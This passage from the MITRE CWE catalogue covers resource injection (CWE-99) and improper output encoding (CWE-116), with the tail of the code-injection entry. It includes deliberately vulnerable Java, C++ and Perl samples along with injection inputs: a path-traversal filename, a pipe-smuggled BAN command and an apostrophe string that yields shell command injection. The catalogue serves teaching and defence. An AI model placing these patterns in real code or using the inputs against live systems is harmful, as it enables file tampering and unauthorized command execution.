This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCODECode Evaluation and Injection
ISA/IEC 62443Part 4-2Req CR 3.5
ISA/IEC 62443Part 3-3Req SR 3.5
ISA/IEC 62443Part 4-1Req SVV-1
ISA/IEC 62443Part 4-1Req SVV-3
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
[REF-1372] "How ast.literal_eval can cause memory exhaustion". Reddit. 2022-12-14. <https://www.reddit.com/r/learnpython/comments/zmbhcf/how_astliteral_eval_can_cause_memory_exhaustion/>. URL validated: 2023-11-03.
[REF-1373] "ast - Abstract Syntax Trees". ast.literal_eval(node_or_string). Python. 2023-11-02. <https://docs.python.org/3/library/ast.html#ast.literal_eval>. URL validated: 2023-11-03.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-06-29
(CWE 4.12, 2023-06-29)
"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Research_Gaps, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Potential_Mitigations, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Name
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Type
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Potential_Mitigations, Relationships
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships, Taxonomy_Mappings
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Code Injection
2009-05-27Failure to Control Generation of Code (aka 'Code Injection')
2011-03-29Failure to Control Generation of Code ('Code Injection')

CWE-99: Improper Control of Resource Identifiers ('Resource Injection')

Weakness ID: 99
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.
+ Extended Description

A resource injection issue occurs when the following two conditions are met:

  1. An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.
  2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.

This may enable an attacker to access or modify otherwise protected system resources.

+ Alternate Terms
Insecure Direct Object Reference:
OWASP uses this term, although it is effectively the same as resource injection.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.641Improper Restriction of Names for Files and Other Resources
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.694Use of Multiple Resources with Duplicate Identifier
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.914Improper Control of Dynamically-Identified Variables
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data; Read Files or Directories; Modify Files or Directories

An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

(bad code)
Example Language: Java 
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();

Example 2

The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

(bad code)
Example Language: C++ 
ifstream ifs(argv[0]);
string s;
ifs >> s;
cout << s;

The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.

+ Observed Examples
ReferenceDescription
chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, it can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.813OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.932OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsResource Injection
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-99
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-99. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated White_Box_Definitions
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Maintenance_Notes, Other_Notes, Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Alternate_Terms, Description, Relationship_Notes, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations, References, Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Resource Injection
2009-05-27Insufficient Control of Resource Identifiers (aka 'Resource Injection')

CWE-116: Improper Encoding or Escaping of Output

Weakness ID: 116
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
+ Extended Description

Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.

Most products follow a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").

If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

+ Alternate Terms
Output Sanitization
Output Validation
Output Encoding
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.117Improper Output Neutralization for Logs
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.644Improper Neutralization of HTTP Headers for Scripting Syntax
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.838Inappropriate Encoding for Output Context
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.838Inappropriate Encoding for Output Context
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Often Prevalent)

Technologies

Database Server (Often Prevalent)

Web Server (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands

The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.
Confidentiality

Technical Impact: Bypass Protection Mechanism

The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code displays an email address that was submitted as part of a form.

(bad code)
Example Language: JSP 
<% String email = request.getParameter("email"); %>
...
Email Address: <%= email %>

The value read from the form parameter is reflected back to the client browser without having been encoded prior to output, allowing various XSS attacks (CWE-79).

Example 2

Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a "|" character.

First let's look at the back end command processor code

(bad code)
Example Language: Perl 
$inputString = readLineFromFileHandle($serverFH);

# generate an array of strings separated by the "|" character.
@commands = split(/\|/, $inputString);

foreach $cmd (@commands) {

# separate the operator from its arguments based on a single whitespace
($operator, $args) = split(/ /, $cmd, 2);

$args = UrlDecode($args);
if ($operator eq "BAN") {
ExecuteBan($args);
}
elsif ($operator eq "SAY") {
ExecuteSay($args);
}
}

The front end web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.

(bad code)
Example Language: Perl 
$inputString = GetUntrustedArgument("command");
($cmd, $argstr) = split(/\s+/, $inputString, 2);

# removes extra whitespace and also changes CRLF's to spaces
$argstr =~ s/\s+/ /gs;

$argstr = UrlEncode($argstr);
if (($cmd eq "BAN") && (! IsAdministrator($username))) {
die "Error: you are not the admin.\n";
}

# communicate with file server using a file handle
$fh = GetServerFileHandle("myserver");

print $fh "$cmd $argstr\n";

It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front end only intends to send a single command. However, the UrlEncode function could leave the "|" character intact. If an attacker provides:

(attack code)
 
SAY hello world|BAN user12

then the front end will see this is a "SAY" command, and the $argstr will look like "hello world | BAN user12". Since the command is "SAY", the check for the "BAN" command will fail, and the front end will send the URL-encoded command to the back end:

(result)
 
SAY hello%20world|BAN%20user12

The back end, however, will treat these as two separate commands:

(result)
 
SAY hello world
BAN user12

Notice, however, that if the front end properly encodes the "|" with "%7C", then the back end will only process a single command.

Example 3

This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.

(bad code)
Example Language: Perl 
sub GetUntrustedInput {
return($ARGV[0]);
}

sub encode {
my($str) = @_;
$str =~ s/\&/\&amp;/gs;
$str =~ s/\"/\&quot;/gs;
$str =~ s/\'/\&apos;/gs;
$str =~ s/\</\&lt;/gs;
$str =~ s/\>/\&gt;/gs;
return($str);
}

sub doit {
my $uname = encode(GetUntrustedInput("username"));
print "<b>Welcome, $uname!</b><p>\n";
system("cd /home/$uname; /bin/ls -l");
}

The programmer attempts to encode dangerous characters, however the denylist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77).

Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:

(attack code)
 
' pwd

then the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection.

+ Observed Examples
ReferenceDescription
Chain: authentication routine in Go-based agile development product does not escape user name (CWE-116), allowing LDAP injection (CWE-90)
OS command injection in backup software using shell metacharacters in a filename; correct behavior would require that this filename could not be changed.
Web application does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.
Program does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.
SQL injection via password parameter; a strong password might contain "&"
Cross-site scripting in chat application via a message subject, which normally might contain "&" and other XSS-related characters.
Cross-site scripting in chat application via a message, which normally might be allowed to contain arbitrary content.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

Phases: Architecture and Design; Implementation

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Phase: Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Phase: Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Phase: Requirements

Fully specify which encodings are required by components that will be communicating with each other.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Effectiveness: Moderate

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1179SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

This weakness is primary to all weaknesses related to injection (CWE-74) since the inherent nature of injection involves the violation of structured messages.

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Terminology

The usage of the "encoding" and "escaping" terms varies widely. For example, in some programming languages, the terms are used interchangeably, while other languages provide APIs that use both terms for different tasks. This overlapping usage extends to the Web, such as the "escape" JavaScript function whose purpose is stated to be encoding. The concepts of encoding and escaping predate the Web by decades. Given such a context, it is difficult for CWE to adopt a consistent vocabulary that will not be misinterpreted by some constituency.

Theoretical

